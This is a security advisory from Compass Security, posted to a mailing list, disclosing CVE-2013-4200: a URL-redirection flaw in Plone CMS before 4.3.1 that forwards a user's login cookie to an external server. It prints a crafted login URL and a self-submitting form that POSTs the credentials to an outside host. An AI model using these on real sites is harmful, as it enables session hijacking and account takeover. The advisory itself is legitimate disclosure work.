[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

CVE-2013-4200 - Plone URL redirection / Forwarding of cookie data (session hijack) in certain browsers



#############################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product:  Plone CMS
# Vendor:   Plone Foundation (http://plone.org)
# ID(s):    CSNC-2013-013, CVE-2013-4200
# Subject:  URL Redirection Vulnerability
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Cyrill Bannwart <cyrill.bannwart@xxxxxxx>
# Date:     20/05/2013
#
#############################################################


Introduction:
-------------
The discovered vulnerability targets the open source Plone CMS. The
credentials of a valid user can be obtained by using a specially
crafted URL which can be sent to the user by email. When clicking on
the URL, the user is presented with the website's login form and after
a successful login the user as well as his credentials are forwarded to
an external server. This vulnerability can be used by an attacker to
obtain access to a user's account.


Affected:
---------
Vulnerable:
 * Plone < 4.3.1

 
Technical Description:
----------------------
An attacker can craft a URL for the login form where his victim has
valid credentials. The created URL contains a redirection URL to which
the user as well as his credentials are forwarded after a successful
login. This URL can be sent to the victim by mail.

By inserting a space before the redirection URL the isURLInPortal()
method of the URLTool class assumes the URL to be relative, not
filtering it against the allow_external_login_sites property.

Example of crafted URL:
https://example.com/acl_users/credentials_cookie_auth/require_login?next=+https%3A//www.csnc.ch

Once the victim clicks on the URL and logs in, a self-submitting POST
form is loaded that sends the user and his credentials to the external
server.

Example excerpt of HTTP Response:
HTTP/1.1 200 OK
Set-Cookie: __ac="<CREDENTIALS>"; Path=/; HTTPOnly
[CUT]
<form method="post" id="external_login_form" name="external_login_form" action=" https://www.csnc.ch";>
    <input type="hidden" name="__ac" value="<CREDENTIALS>" />
</form>
<script type="text/javascript">
  /*jslint browser: true */
  var external_login_form = document.forms.external_login_form;
  external_login_form.style.display = 'none';
  external_login_form.submit();
</script>

And resulting HTTP POST Request:
POST / HTTP/1.1
Host: www.csnc.ch
Referer: https://www.example.com/login_form
[CUT]
__ac=<CREDENTIALS>

The obtained credentials / cookie content can be used by the attacker to
login to the website and gain access to the victim's account.

The login form allows further URL parameters such as the password reset
link or the sign up URL that can also be tricked into accepting
non-relative URLs.


Workaround / Fix / Patch:
-------------------------
Patch has been released by vendor


Timeline:
---------
2013-05-08:     Vulnerability discovered
2013-05-20:		Vendor notified
2013-05-21:		Vendor acknowledged
2013-06-18:		Patch released
2013-07-02:		Patch updated
2014-01-16:		Disclosure


References:
-----------
https://plone.org/products/plone/security/advisories/20130618-announcement 
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-4200

Attachment: smime.p7s
Description: S/MIME cryptographic signature